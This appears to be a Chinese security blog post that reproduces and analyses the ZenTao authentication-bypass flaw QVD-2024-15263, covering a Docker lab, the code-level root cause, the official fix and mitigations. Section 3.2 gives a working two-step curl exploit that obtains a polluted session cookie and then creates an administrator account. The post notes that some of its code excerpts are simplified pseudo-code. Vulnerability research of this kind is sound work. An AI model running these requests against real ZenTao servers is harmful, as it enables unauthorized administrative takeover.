禅道身份认证绕过漏洞复现与逻辑漏洞深度剖析

1. 项目概述:一次对禅道核心认证机制的深度剖析

最近在安全圈里,禅道项目管理系统的身份认证绕过漏洞(QVD-2024-15263)引起了不小的讨论。作为一个在研发管理和安全测试领域都摸爬滚打过多年的从业者,我习惯性地会去复现和分析这类影响广泛的开源软件漏洞。这不仅仅是出于技术好奇,更是因为理解漏洞的成因,能让我们在构建和运维自身系统时,避开类似的“坑”。禅道作为国内使用非常广泛的开源项目管理软件,其核心的身份认证机制出现逻辑缺陷,这个案例本身就极具研究价值。它暴露了在复杂业务逻辑与安全边界交织时,开发者可能忽略的细微路径。本次复现与分析,我将带你从零开始,搭建靶场环境,一步步拆解漏洞的触发条件、利用链,并深入代码层面,看看这个“绕过”究竟是如何发生的。无论你是安全研究人员、运维工程师,还是对软件安全架构感兴趣的开发者,理解这个漏洞的来龙去脉,都能为你带来关于API设计、会话管理和权限校验的深刻启发。

2. 漏洞原理深度解析:白名单接口的“副作用”

在开始动手复现之前,我们必须先吃透这个漏洞的核心原理。它不是一个简单的SQL注入或命令执行,而是一个典型的 逻辑漏洞 ,更具体地说,是 身份认证状态管理 上的逻辑缺陷。漏洞的根源在于,禅道系统在处理某些特定API请求时,其会话(Session)的生成和校验逻辑出现了不一致。

2.1 核心漏洞触发点: /api.php?m=testcase&f=savexmindimport

漏洞利用链的起点是一个用于导入XMind测试用例的API接口。这个接口被设计为“开放式”或“白名单”接口,意味着它在被调用时,不需要用户预先登录。系统设计者的初衷可能是为了方便外部工具或脚本批量导入数据。然而,问题就出在这个接口的执行流程中。

当请求这个接口时,禅道的程序逻辑大致会经历以下几步:

  1. 应用初始化与路由 :入口文件 api.php 被调用,创建一个应用实例。
  2. 权限校验(白名单检查) :系统会检查请求的模块( m=testcase )和方法( f=savexmindimport )是否位于“开放方法”白名单中。由于 savexmindimport 正在此列,因此系统 跳过了后续严格的用户身份认证检查
  3. 执行控制器方法 :程序加载 testcase 模块的控制器( control.php ),并执行 saveXmindImport 方法。
  4. 关键的“副作用”产生 :在 saveXmindImport 方法的执行路径中,它会调用一个名为 deny() 的通用方法。这个 deny() 方法的本意是在某些条件不满足时,拒绝请求并可能跳转到登录页。但在这个无需认证的上下文里, deny() 方法内部的一个操作埋下了祸根: 它向当前的应用实例( $this->app )的 user 属性进行了赋值 。尽管此时 user 可能只是一个默认的、非真实用户的占位符对象,但这个赋值操作至关重要。
  5. 会话写入 :由于应用实例的 user 属性被设置(不再为 null 或空),在请求结束或会话保存时,这个包含了 user 字段的会话状态被完整地序列化并存储到了服务器的Session文件中(通常以 sess_ 开头,后跟Session ID)。

注意 :这里的关键在于,通过这个白名单接口,我们“骗过”系统,让它在未经验证的情况下,生成了一个标记为“已存在用户”的会话状态。这个会话状态本身并不代表一个有效的登录用户,但它在后续的权限判断逻辑中,却被当成了“已认证”的凭证。

2.2 认证绕过逻辑:为何有 user 就能为所欲为?

获取到包含 user 字段的Session Cookie后,攻击者将其用于访问另一个需要高权限的API接口,例如创建用户的 /api.php/v1/users

此时,系统的权限验证逻辑(位于 entry.class.php 等核心文件中)开始工作。典型的验证逻辑伪代码如下:

// 简化版的权限检查逻辑
if (isset($this->app->user) && $this->app->user->account != 'guest') {
    // 认为用户已登录,放行请求,执行后续业务逻辑(如创建用户)
    return $this->executeAction();
} else {
    // 认为用户未登录,返回403禁止访问或跳转登录
    return $this->deny('access denied');
}

由于我们通过第一个请求“注入”的Session中, $this->app->user 对象存在且其 account 属性不等于 'guest' (可能是一个空字符串或默认值),因此条件判断通过!系统错误地认为这个请求来自于一个已登录的、非访客用户,于是直接执行了创建用户的管理员操作,而完全绕过了密码验证、角色权限检查等环节。

这里的一个深刻教训是 :在权限校验中,不能仅仅检查“ user 对象是否存在”,而必须严格校验该 user 对象是否对应一个 真实、有效、且当前活跃的登录会话 。将“存在用户对象”等同于“已认证用户”,是这个漏洞最根本的逻辑谬误。

3. 靶场环境搭建与漏洞复现实操

理解了原理,我们动手搭建环境进行复现。我选择在虚拟机中使用Docker来快速构建一个存在漏洞的禅道版本,这样既干净又便于反复测试。

3.1 环境准备与靶场部署

首先,我们需要一个存在漏洞的禅道版本。根据公告,影响范围是开源版 < 18.12 。我们以 18.10 版本为例。

1. 使用Vulhub快速搭建(推荐) Vulhub是一个非常好的漏洞靶场集成环境。如果你的系统已有Docker和Docker Compose,操作会非常快捷。

# 1. 下载或克隆Vulhub(如果已有则跳过)
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 2. 寻找禅道漏洞目录(假设该漏洞已收录在zentao目录下)
# 如果vulhub中暂无此漏洞,我们可以手动创建docker-compose.yml
# 这里我们演示手动创建的方式

2. 手动创建Docker复现环境 在任意目录下,创建一个 docker-compose.yml 文件,内容如下:

version: '3'
services:
  zentao:
    image: easysoft/zentao:18.10
    container_name: vuln_zentao
    ports:
      - "8088:80"
    environment:
      - MYSQL_ROOT_PASSWORD=123456
    volumes:
      - ./data/zentao:/www/zentaopms
      - ./data/mysql:/var/lib/mysql
    restart: unless-stopped

然后执行:

docker-compose up -d

等待几分钟,容器启动完成后,在浏览器访问 http://your_vm_ip:8088 。你会看到禅道的安装引导页面。按照提示完成安装,数据库主机填写 mysql (Docker Compose中的服务名),密码填写 123456 。安装完成后,系统会提示你设置管理员账号密码,请务必记下。

实操心得 :在Docker环境中,禅道的应用代码( /www/zentaopms )和MySQL数据( /var/lib/mysql )被映射到了宿主机的 ./data 目录下。这非常有用,一方面可以持久化数据,避免容器销毁后数据丢失;另一方面,我们可以直接在宿主机上查看和修改代码文件,方便后续的漏洞分析和调试。例如,你可以用 docker exec -it vuln_zentao /bin/bash 进入容器,或者直接在宿主机的 ./data/zentao 目录下查看PHP源码。

3.2 漏洞复现步骤详解

环境就绪后,我们开始一步步验证漏洞。

第一步:获取“问题”Session Cookie 我们使用 curl 命令或者Burp Suite等工具来发送第一个请求。这里用 curl 演示,因为它清晰直观。

curl -v "http://192.168.1.100:8088/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest"

关键参数解释

  • m=testcase : 指定模块为测试用例模块。
  • f=savexmindimport : 指定方法为保存XMind导入。
  • HTTP_X_REQUESTED_WITH=XMLHttpRequest : 这是一个“技巧”。禅道内部 Helper::isAjaxRequest() 方法会检查 $_SERVER['HTTP_X_REQUESTED_WITH'] $_GET['HTTP_X_REQUESTED_WITH'] 是否为 XMLHttpRequest 。通过GET参数传入,我们伪造了一个AJAX请求,确保程序流程能顺利执行到 deny() 方法。

执行结果 : 你会看到返回的HTTP响应头中,包含一个 Set-Cookie 字段,例如:

Set-Cookie: zentaosid=ihjhql1uuiohqarr295f0k8q3f; path=/; HttpOnly

这个 zentaosid=ihjhql1uuiohqarr295f0k8q3f 就是我们需要的“问题”Cookie。它的Session文件里已经包含了那个不该存在的 user 字段。

第二步:利用Cookie创建高权限用户 现在,我们使用上一步获取的Cookie,去调用需要管理员权限的创建用户API。

curl -v -X POST "http://192.168.1.100:8088/api.php/v1/users" \
  -H "Content-Type: application/json" \
  -H "Cookie: zentaosid=ihjhql1uuiohqarr295f0k8q3f" \
  -d '{"account": "hacker", "password": "Hacker@123", "realname": "Hacker", "role": "top", "group": "1"}'

请求解析

  • -X POST : 指定POST方法。
  • -H "Content-Type: application/json" : 声明请求体为JSON格式,这是禅道API的常见要求。
  • -H "Cookie: ..." : 携带我们刚刚获取的“问题”Cookie。
  • -d '...' : POST数据体。我们尝试创建一个账号为 hacker ,密码为 Hacker@123 ,角色为最高管理层( top )的用户。

预期响应 : 你很可能收到一个 403 Forbidden 的HTTP状态码。 但是,这恰恰是漏洞的迷惑性所在! 根据公开的分析,尽管接口返回了403(可能是因为后续的某些细粒度权限检查仍然失败了),但 用户创建操作在数据库层面已经成功执行

第三步:验证漏洞利用成功 现在,打开禅道的登录页面 ( http://192.168.1.100:8088 ),使用我们刚刚尝试创建的账号 hacker 和密码 Hacker@123 进行登录。

结果 : 如果漏洞复现成功,你将能够直接登录系统,并且进入后台后,可以看到 hacker 用户的角色确实是“高层管理”,拥有几乎所有的管理权限。至此,身份认证绕过完成,攻击者获得了系统的高权限账户。

注意事项 :在实际测试中,返回403但创建成功的情况可能与具体的禅道版本和配置有关。有些环境下可能直接返回201创建成功。无论如何,以能否用新账号登录为最终验证标准。此外,创建用户只是其中一种利用方式。拥有这个“已认证”的Session后,理论上可以调用任何受此错误鉴权逻辑保护的API,例如修改其他用户密码、查看敏感项目信息等。

4. 漏洞代码分析与调试追踪

为了更透彻地理解,我们深入到代码层面。我将基于开源版18.10的代码进行关键点分析。

4.1 关键代码路径分析

1. 入口与白名单检查 ( api.php router.class.php ) api.php 是入口。它会创建app实例,并调用 $common->checkEntry() 。在 checkEntry() 或相关方法中(如 isOpenMethod() ),会有一个白名单数组。 testcase 模块的 savexmindimport 方法就在这个名单里,从而跳过了 checkPriv() 等登录检查。

2. 会话生成与“污染” ( testcase/control.php -> common/model.php ) 我们跟进 saveXmindImport 方法。在 /module/testcase/control.php 中:

public function saveXmindImport($productID, $branch = 0)
{
    // ... 一些参数检查和初始化 ...
    if(empty($files)) $this->deny(); // 关键调用!
    // ... 处理文件上传的逻辑 ...
}

当上传的文件为空时(我们的请求正是如此),它会调用 $this->deny() 。这个 deny() 方法定义在父类 common/model.php 中:

public function deny($module = '', $method = 'deny', $vars = '')
{
    // ... 省略部分代码 ...
    if($reload)
    {
        // 注意这一行!它设置了$this->app->user
        $this->app->user = new stdclass();
        $this->app->user->account = '';
        // ... 可能还有其他属性设置 ...
        $this->session->set('user', $this->app->user); // 将user对象写入session
    }
    // ... 后续可能输出错误信息或跳转 ...
}

看,就是这里! $this->app->user 被赋予了一个新的 stdClass 对象。即使它的 account 是空字符串,它也 不是一个 null 。随后, $this->session->set('user', $this->app->user) 将这个对象序列化后存入了当前会话中。

3. 错误的鉴权逻辑 ( entry.class.php 或类似入口控制器) 当携带被“污染”的Session去请求 /api.php/v1/users 时,请求会经过统一的权限验证层。简化后的关键判断逻辑可能如下:

// 伪代码,位于某个入口控制器或基类中
public function checkPriv()
{
    $user = $this->app->user;
    // 错误逻辑:只检查user对象是否存在且非guest
    if(!empty($user) && $user->account != 'guest') {
        return true; // 放行!
    }
    // 正确逻辑应该检查:$user是否真实有效?是否对应数据库中的活跃用户?是否有登录态token?
    // if($this->app->user->isLoggedIn() {...}) 
    return false; // 拒绝
}

由于我们的Session中有 user 对象且 account 为空(不等于 'guest' ),此检查通过,请求被误判为来自已授权用户。

4.2 修复方案解读

官方在18.12版本中修复了此漏洞。查看GitHub的提交记录,修复的核心在于 收紧权限校验逻辑 。修复不再是简单地检查 $this->app->user 是否存在,而是引入了更严格的验证,例如检查用户是否真正通过登录流程获得了有效身份,或者彻底堵住了 deny() 方法在未认证情况下向Session写入 user 对象的路径。

对于无法立即升级的用户,临时的缓解措施可以在WAF(Web应用防火墙)或反向代理层,对 /api.php?m=testcase&f=savexmindimport 这样的特殊接口请求进行监控,检查其是否在未登录状态下被频繁调用,并阻断异常的后续API调用链。更根本的是,审查自身代码中是否存在类似的“检查对象存在即放行”的逻辑。

5. 漏洞复现的常见问题与排查技巧

在复现过程中,你可能会遇到一些问题。这里我总结几个常见的坑和解决方法。

1. 请求第一个接口返回404或500错误

  • 可能原因 :禅道版本不对。请确认你的禅道版本在受影响范围内(开源版<18.12)。有些Docker镜像的标签可能不准确。
  • 排查 :进入容器,查看 /www/zentaopms/module/testcase/control.php 文件,确认是否存在 saveXmindImport 方法。
  • 可能原因 :安装不完整或文件权限问题。
  • 排查 :检查禅道是否完成安装流程。可以访问 /api.php 看是否有默认响应。检查 /www/zentaopms/tmp/log 目录下的日志文件,寻找错误信息。

2. 获取到Cookie,但创建用户时返回403且登录失败

  • 可能原因 :漏洞利用链在特定版本或配置下不完整。创建用户接口 /api.php/v1/users 可能还有额外的二次鉴权(如检查用户所属部门、项目权限),我们的“假用户”对象无法通过。
  • 排查与尝试
    • 尝试调用其他API,例如获取用户列表 GET /api.php/v1/users ,或者修改当前用户(即那个假用户)的密码。有时漏洞的利用方式不止一种。
    • 使用获取到的Cookie,尝试访问Web后台界面 ( / ),看是否被重定向到登录页。如果直接进入后台,说明Session认证已绕过,但API权限模型可能更严格。
    • 开启禅道的调试模式,在请求创建用户时,查看具体的错误日志,了解是哪个权限检查点失败了。

3. Docker环境网络问题,无法从宿主机访问

  • 可能原因 :防火墙或安全组策略阻止了端口访问。
  • 排查 :在宿主机上执行 curl http://localhost:8088 ,如果通,说明容器端口映射正常,问题在外部网络。检查虚拟机网络设置(如NAT、桥接模式)和宿主机的防火墙规则。

4. 复现成功,但想深入调试代码

  • 技巧 :在宿主机上使用IDE(如PHPStorm)配置远程调试(Xdebug),或者直接在容器内安装简易的调试工具。更简单的方法是使用 file_put_contents() error_log() 函数,在关键的代码位置(如 deny() 方法内、权限检查点)打印变量信息到日志文件,然后跟踪请求查看日志输出。这能帮你清晰地看到程序执行流和变量状态的变化。

5. 漏洞修复后如何验证

  • 方法 :升级到18.12或更高版本后,重复上述复现步骤。
    • 第一步请求 savexmindimport 接口,应该依然能获得Cookie(因为它是公开接口)。
    • 但第二步用这个Cookie去请求 /api.php/v1/users 时, 必须返回明确的未授权错误(如401、403) ,并且 绝对无法用尝试创建的账号登录
    • 你也可以检查修复后的 deny() 方法或权限检查逻辑,确认其不再向未认证会话写入完整的 user 对象,或者在检查时加入了更严格的登录态验证。

这个漏洞的复现过程,像一次精密的“逻辑手术”,它提醒我们,在系统安全设计中,任何一个环节的假设松动(比如“有user对象就是已登录”),都可能被攻击者利用,构造出意想不到的攻击路径。对于开发者和安全工程师而言,持续关注这类逻辑漏洞,并将其作为代码审计和架构设计评审的重点,是构建稳健系统的必修课。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值